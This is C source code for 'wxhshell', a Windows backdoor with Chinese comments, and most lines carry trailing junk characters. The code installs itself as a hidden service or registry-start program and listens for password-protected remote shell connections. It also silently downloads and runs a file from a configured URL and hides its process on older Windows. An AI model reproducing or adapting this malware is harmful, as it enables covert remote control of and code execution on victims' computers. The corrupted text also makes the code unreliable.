$
I`i"*z
PROCNTQSIP NtQueryInformationProcess; t*u#4I1
:M<] 6o
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [9#zEURS
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )OVa7[-T
(XY`1|])`
HANDLE hProcess; gFTlP
PROCESS_BASIC_INFORMATION pbi; }d;6.~Gw
Xkg
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ["4Tn0g ;
if(NULL == hInst ) return 0; l"jYY3N|h
O}p<"3Ub
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (Nv-wU
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");
;Me*#/
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;K%/sIIke
Q;A\M
if (!NtQueryInformationProcess) return 0; {t!7r_hj
%/5Wj_|p
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _mwt{D2r}
if(!hProcess) return 0; Vo6g /h?`
n\f]?B(
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; XD't)B(q
r9L--#=z
CloseHandle(hProcess); "Wr[DqFd
p(8 @
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *c&|2EsZ
if(hProcess==NULL) return 0; x}V&v?1{5
2A:h&t/|C
HMODULE hMod; \xv(&94U
char procName[255]; G.v(2~QFd
unsigned long cbNeeded; {8`$~c
k}NM]9EAE
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P8ZmrtQm
Y:, rN
CloseHandle(hProcess); <gfRAeXA
V*@Y9G
if(strstr(procName,"services")) return 1; // 以服务启动 A^A)arJS
N;6o=^ic
return 0; // 注册表启动 g|7o1{
} cC NRv$IO\
qMA-#
// 主模块 cC+2%q B
int StartWxhshell(LPSTR lpCmdLine) `|nCnT'
{ Im@OAR4,R
SOCKET wsl; oD1k7Gq1
BOOL val=TRUE; Xc}XRKiy{
int port=0; <c:H u{D
struct sockaddr_in door; evYn}
J%M [8
if(wscfg.ws_autoins) Install(); 6)P.wW
CH
29kQ
port=atoi(lpCmdLine); NY.* S6
~(kqq#=s
if(port<=0) port=wscfg.ws_port; nJ
xO.wWE
]dI^
S
WSADATA data; +}a(jO
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \IImxkE
oOU_
Nay
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; N' R^gL
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +*?l">?|F
door.sin_family = AF_INET; :zPK
door.sin_addr.s_addr = inet_addr("127.0.0.1"); n-yUt72
door.sin_port = htons(port); tp>YsQy]8
19#>\9*
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #Lp}j?Y
closesocket(wsl); 0<NS1y
return 1; 4OpzGZ4+
} *X2PT(e[
MGt>:&s(]
if(listen(wsl,2) == INVALID_SOCKET) { #
#2'QNN
closesocket(wsl); ck5cO-1>6
return 1; c@3 5\!9
} oW6Hufu+o
Wxhshell(wsl); t"q'"FX
WSACleanup(); vc&+qI+I3
?_Z-}f
return 0; RLB"}&SF]
'xGhMgR;
} *Q/^ib9=
/#H P;>!n
// 以NT服务方式启动 =\5WYC
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hpb|| V
{ z+{qQ!
DWORD status = 0; ,f$P[c
DWORD specificError = 0xfffffff; k:R\;l5
1BZ##xV*:G
serviceStatus.dwServiceType = SERVICE_WIN32; 3Z=yCec]
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Zd>sdS`#r
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; QOSMV#Nw%
serviceStatus.dwWin32ExitCode = 0; #X?[")R
serviceStatus.dwServiceSpecificExitCode = 0; jYRSV7d
serviceStatus.dwCheckPoint = 0; nW7: ]
serviceStatus.dwWaitHint = 0; bS r"k
jS##zC
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A@)Q-V8*9s
if (hServiceStatusHandle==0) return; ['.])
1ruI++P
status = GetLastError(); aSX4~UYB=
if (status!=NO_ERROR) i#t-p\Tcz
{ )Ak#1w&q
serviceStatus.dwCurrentState = SERVICE_STOPPED; Babzrt-
serviceStatus.dwCheckPoint = 0; n+ebi>}P
serviceStatus.dwWaitHint = 0; Sq ]gU
serviceStatus.dwWin32ExitCode = status; BOw[*hM
serviceStatus.dwServiceSpecificExitCode = specificError; 76)"uqv1x
SetServiceStatus(hServiceStatusHandle, &serviceStatus); e8^/S^ =&d
return; m1Y a
} tjb$MW$('
TZt;-t`
serviceStatus.dwCurrentState = SERVICE_RUNNING; A%Ka)UU+n
serviceStatus.dwCheckPoint = 0; xw
43P.
serviceStatus.dwWaitHint = 0; R P<M
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,#3Aaw
} EHm*~Sd
e,_Sj(R8
// 处理NT服务事件,比如:启动、停止 J'X}6Q
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4J_HcatOB
{ `y.4FA4"8
switch(fdwControl) *u"%hXR
{ K6p\ >J
case SERVICE_CONTROL_STOP: nsU7cLf"^V
serviceStatus.dwWin32ExitCode = 0; m[v0mXE
serviceStatus.dwCurrentState = SERVICE_STOPPED; klT?h[I!
serviceStatus.dwCheckPoint = 0; W6NhJ#M7
serviceStatus.dwWaitHint = 0; f^B8!EY#:
{
*af\U3kx
SetServiceStatus(hServiceStatusHandle, &serviceStatus); G&{yM2:E
} bXF8V
return; >B**fZ~L
case SERVICE_CONTROL_PAUSE: w+
!c9
serviceStatus.dwCurrentState = SERVICE_PAUSED; 1Ys=KA-!_x
break; yV:8>9wE8
case SERVICE_CONTROL_CONTINUE: Su6kpC!EW
serviceStatus.dwCurrentState = SERVICE_RUNNING; {] ]%0!n\
break; GEc-<`-
case SERVICE_CONTROL_INTERROGATE: fGlvum
break; v9:J 55x
}; 20|_wAA5
SetServiceStatus(hServiceStatusHandle, &serviceStatus); !<:Cd(bM
} XKky-LeJ
<$z[pw<
// 标准应用程序主函数 #C&';HB;y
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s_NY#MPz[
{ X1.-C@o
KqntOo}
y)
// 获取操作系统版本 n~ad#iN
OsIsNt=GetOsVer(); q&-mbWBj
GetModuleFileName(NULL,ExeFile,MAX_PATH); P ljPhAce
#RR;?`,L}
// 从命令行安装 t"GnmeH
i
if(strpbrk(lpCmdLine,"iI")) Install(); ,W)DQwAg
|JIlp"[
// 下载执行文件 ZL<X*l2
if(wscfg.ws_downexe) { F8-GnTxa
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) SED52$zA
WinExec(wscfg.ws_filenam,SW_HIDE); Wn@oG@}~
} 5WHz_'c
>2{Y5__+e
if(!OsIsNt) { q@bye4Ry%W
// 如果时win9x,隐藏进程并且设置为注册表启动 'fU #v`i
HideProc(); p-.kBF
StartWxhshell(lpCmdLine); O^8ZnN_+
} ;O`f+rG~
else dfdK%/' $(
if(StartFromService()) e7;7TrB.
// 以服务方式启动 :KO&j"[
StartServiceCtrlDispatcher(DispatchTable); j;`Q82V\
else #Pg`0xiV
// 普通方式启动 /ZV2f3;t
StartWxhshell(lpCmdLine); P-4$Qksx
3=uhy|f! /
return 0; 7@<.~*Bl6
} EO)JMV?6
G]rY1f0
t/Io.d
MygAmV&
=========================================== D8L5t<^1R
D2&d",%&f
JyE-c}I
CjpGo}a/
#G]IEO$M6
5eff3qrH{
" BC.3U.
p"%D/-%Gu
#include <stdio.h> qBBCnT
#include <string.h> g8MW6Y
#include <windows.h> rt*x[5<
#include <winsock2.h> 88_ef7w
#include <winsvc.h> Bu=1-8@=qs
#include <urlmon.h> +S4>}2N33
tI{]&dev
#pragma comment (lib, "Ws2_32.lib") rq3f/_#L!O
#pragma comment (lib, "urlmon.lib") r=n{3o+
17KQ
#define MAX_USER 100 // 最大客户端连接数 7o+L
#define BUF_SOCK 200 // sock buffer 3XQa%|N(
#define KEY_BUFF 255 // 输入 buffer b
VEJ
%RV81H9B
#define REBOOT 0 // 重启 2QaE&8vW
#define SHUTDOWN 1 // 关机 ~_EDJp1J
y`n?f|nf
#define DEF_PORT 5000 // 监听端口 6a,8t
n%F _3`
#define REG_LEN 16 // 注册表键长度 ,K,st+s|
#define SVC_LEN 80 // NT服务名长度 s>6h]H
HN5661;8
// 从dll定义API uluAqDz`
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pCIS82L
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0R)x"4Ww
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p($vM^_<"
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %9>w|%+;U+
F@Sk=l(
// wxhshell配置信息 z<5 5[~3
struct WSCFG { F&wAre<
int ws_port; // 监听端口 =8 @DYz'
char ws_passstr[REG_LEN]; // 口令 N[W#wYbH
int ws_autoins; // 安装标记, 1=yes 0=no z9S
(<